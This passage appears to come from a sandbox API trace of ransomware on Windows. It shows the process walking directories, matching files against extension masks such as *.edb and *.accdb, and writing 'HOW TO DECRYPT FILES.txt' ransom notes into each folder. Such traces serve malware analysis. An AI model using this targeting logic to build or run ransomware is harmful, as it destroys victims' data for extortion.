(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.edb") returned 0 [0108.201] lstrlenA (lpString="*.edb") returned 5 [0108.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.accdb") returned 0 [0108.201] lstrlenA (lpString="*.accdb") returned 7 [0108.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.odb") returned 0 [0108.201] lstrlenA (lpString="*.odb") returned 5 [0108.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.java") returned 0 [0108.201] lstrlenA (lpString="*.java") returned 6 [0108.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\Microsoft.MediaCenter.Interop.ni.dll", pszSpec="*.asm") returned 0 [0108.202] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30f65f26, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30f65f26, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9e152652, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x7f800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.Interop.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.202] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.202] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x608d7420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x608d7420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x608d7420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="1f517ecba89b0f399021bdbc8fb3db82", cAlternateFileName="1F517E~1")) returned 1 [0108.202] lstrcmpA (lpString1=".", lpString2="1f517ecba89b0f399021bdbc8fb3db82") returned -1 [0108.202] lstrcmpA (lpString1="..", lpString2="1f517ecba89b0f399021bdbc8fb3db82") returned -1 [0108.202] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\*.*") returned="*.*" [0108.202] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\", lpString2="1f517ecba89b0f399021bdbc8fb3db82" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\1f517ecba89b0f399021bdbc8fb3db82") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\1f517ecba89b0f399021bdbc8fb3db82" [0108.202] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\1f517ecba89b0f399021bdbc8fb3db82\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x608d7420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x608d7420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x608d7420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.203] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.203] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x608d7420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x608d7420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x608d7420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.203] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.203] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.203] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d04976, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30d04976, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9dcb5baa, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x117000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.Shell.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.203] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.203] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.MediaCenter.Shell.ni.dll") returned -1 [0108.203] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.MediaCenter.Shell.ni.dll") returned -1 [0108.203] lstrcmpiA (lpString1="", lpString2="Microsoft.MediaCenter.Shell.ni.dll") returned -1 [0108.203] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\1f517ecba89b0f399021bdbc8fb3db82\\*.*") returned="*.*" [0108.204] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\1f517ecba89b0f399021bdbc8fb3db82\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\1f517ecba89b0f399021bdbc8fb3db82\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\1f517ecba89b0f399021bdbc8fb3db82\\" [0108.204] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\1f517ecba89b0f399021bdbc8fb3db82\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\1f517ecba89b0f399021bdbc8fb3db82\\") returned="" [0108.204] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\1f517ecba89b0f399021bdbc8fb3db82\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\1f517ecba89b0f399021bdbc8fb3db82\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\1f517ecba89b0f399021bdbc8fb3db82\\HOW TO DECRYPT FILES.txt" [0108.204] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\1f517ecba89b0f399021bdbc8fb3db82\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\1f517ecba89b0f399021bdbc8fb3db82\\how to decrypt files.txt")) returned 0xffffffff [0108.204] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\1f517ecba89b0f399021bdbc8fb3db82\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\1f517ecba89b0f399021bdbc8fb3db82\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.207] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.207] CloseHandle (hObject=0x90) returned 1 [0108.207] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\1f517ecba89b0f399021bdbc8fb3db82\\", lpString2="Microsoft.MediaCenter.Shell.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\1f517ecba89b0f399021bdbc8fb3db82\\Microsoft.MediaCenter.Shell.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\1f517ecba89b0f399021bdbc8fb3db82\\Microsoft.MediaCenter.Shell.ni.dll" [0108.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\1f517ecba89b0f399021bdbc8fb3db82\\Microsoft.MediaCenter.Shell.ni.dll", pszSpec="*.ems") returned 0 [0108.208] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d04976, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30d04976, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9dcb5baa, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x117000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.Shell.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.208] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.208] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6190ea00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6190ea00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6190ea00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="4e9468fdc6937145e65c6434787e2fa5", cAlternateFileName="4E9468~1")) returned 1 [0108.208] lstrcmpA (lpString1=".", lpString2="4e9468fdc6937145e65c6434787e2fa5") returned -1 [0108.208] lstrcmpA (lpString1="..", lpString2="4e9468fdc6937145e65c6434787e2fa5") returned -1 [0108.208] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\*.*") returned="*.*" [0108.208] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\", lpString2="4e9468fdc6937145e65c6434787e2fa5" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\4e9468fdc6937145e65c6434787e2fa5") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\4e9468fdc6937145e65c6434787e2fa5" [0108.208] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\4e9468fdc6937145e65c6434787e2fa5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6190ea00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6190ea00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6190ea00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.209] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.209] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6190ea00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6190ea00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6190ea00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.209] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.209] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.209] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d50c2c, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30d50c2c, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xafd7aa9e, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x35a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.iTv.Media.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.209] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.209] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.MediaCenter.iTv.Media.ni.dll") returned -1 [0108.209] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.MediaCenter.iTv.Media.ni.dll") returned -1 [0108.209] lstrcmpiA (lpString1="", lpString2="Microsoft.MediaCenter.iTv.Media.ni.dll") returned -1 [0108.209] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\4e9468fdc6937145e65c6434787e2fa5\\*.*") returned="*.*" [0108.209] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\4e9468fdc6937145e65c6434787e2fa5\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\4e9468fdc6937145e65c6434787e2fa5\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\4e9468fdc6937145e65c6434787e2fa5\\" [0108.209] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\4e9468fdc6937145e65c6434787e2fa5\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\4e9468fdc6937145e65c6434787e2fa5\\") returned="" [0108.209] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\4e9468fdc6937145e65c6434787e2fa5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\4e9468fdc6937145e65c6434787e2fa5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\4e9468fdc6937145e65c6434787e2fa5\\HOW TO DECRYPT FILES.txt" [0108.210] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\4e9468fdc6937145e65c6434787e2fa5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\4e9468fdc6937145e65c6434787e2fa5\\how to decrypt files.txt")) returned 0xffffffff [0108.210] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\4e9468fdc6937145e65c6434787e2fa5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\4e9468fdc6937145e65c6434787e2fa5\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.218] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.218] CloseHandle (hObject=0x90) returned 1 [0108.218] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\4e9468fdc6937145e65c6434787e2fa5\\", lpString2="Microsoft.MediaCenter.iTv.Media.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\4e9468fdc6937145e65c6434787e2fa5\\Microsoft.MediaCenter.iTv.Media.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\4e9468fdc6937145e65c6434787e2fa5\\Microsoft.MediaCenter.iTv.Media.ni.dll" [0108.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\4e9468fdc6937145e65c6434787e2fa5\\Microsoft.MediaCenter.iTv.Media.ni.dll", pszSpec="*.ems") returned 0 [0108.219] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d50c2c, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30d50c2c, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xafd7aa9e, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x35a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.iTv.Media.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.219] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.219] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60036460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60036460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x60036460, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="5b9c2eae674609a3d84010c9906e0bf8", cAlternateFileName="5B9C2E~1")) returned 1 [0108.219] lstrcmpA (lpString1=".", lpString2="5b9c2eae674609a3d84010c9906e0bf8") returned -1 [0108.219] lstrcmpA (lpString1="..", lpString2="5b9c2eae674609a3d84010c9906e0bf8") returned -1 [0108.219] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\*.*") returned="*.*" [0108.219] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\", lpString2="5b9c2eae674609a3d84010c9906e0bf8" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\5b9c2eae674609a3d84010c9906e0bf8") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\5b9c2eae674609a3d84010c9906e0bf8" [0108.219] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\5b9c2eae674609a3d84010c9906e0bf8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60036460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60036460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x60036460, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.219] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.219] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60036460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60036460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x60036460, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.220] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.220] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.220] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30f65f26, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30f65f26, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9b7aa506, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.iTv.Hosting.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.220] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.220] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.MediaCenter.iTv.Hosting.ni.dll") returned -1 [0108.220] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.MediaCenter.iTv.Hosting.ni.dll") returned -1 [0108.220] lstrcmpiA (lpString1="", lpString2="Microsoft.MediaCenter.iTv.Hosting.ni.dll") returned -1 [0108.220] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\5b9c2eae674609a3d84010c9906e0bf8\\*.*") returned="*.*" [0108.220] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\5b9c2eae674609a3d84010c9906e0bf8\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\5b9c2eae674609a3d84010c9906e0bf8\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\5b9c2eae674609a3d84010c9906e0bf8\\" [0108.220] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\5b9c2eae674609a3d84010c9906e0bf8\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\5b9c2eae674609a3d84010c9906e0bf8\\") returned="" [0108.220] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\5b9c2eae674609a3d84010c9906e0bf8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\5b9c2eae674609a3d84010c9906e0bf8\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\5b9c2eae674609a3d84010c9906e0bf8\\HOW TO DECRYPT FILES.txt" [0108.220] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\5b9c2eae674609a3d84010c9906e0bf8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\5b9c2eae674609a3d84010c9906e0bf8\\how to decrypt files.txt")) returned 0xffffffff [0108.220] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\5b9c2eae674609a3d84010c9906e0bf8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\5b9c2eae674609a3d84010c9906e0bf8\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.227] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.227] CloseHandle (hObject=0x90) returned 1 [0108.227] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\5b9c2eae674609a3d84010c9906e0bf8\\", lpString2="Microsoft.MediaCenter.iTv.Hosting.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\5b9c2eae674609a3d84010c9906e0bf8\\Microsoft.MediaCenter.iTv.Hosting.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\5b9c2eae674609a3d84010c9906e0bf8\\Microsoft.MediaCenter.iTv.Hosting.ni.dll" [0108.227] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\5b9c2eae674609a3d84010c9906e0bf8\\Microsoft.MediaCenter.iTv.Hosting.ni.dll", pszSpec="*.ems") returned 0 [0108.227] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30f65f26, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30f65f26, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9b7aa506, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.iTv.Hosting.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.227] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.227] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f344cc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f344cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f344cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="618ab8996b43e841efdcfb273393fc02", cAlternateFileName="618AB8~1")) returned 1 [0108.228] lstrcmpA (lpString1=".", lpString2="618ab8996b43e841efdcfb273393fc02") returned -1 [0108.228] lstrcmpA (lpString1="..", lpString2="618ab8996b43e841efdcfb273393fc02") returned -1 [0108.228] PathFindFileNameA 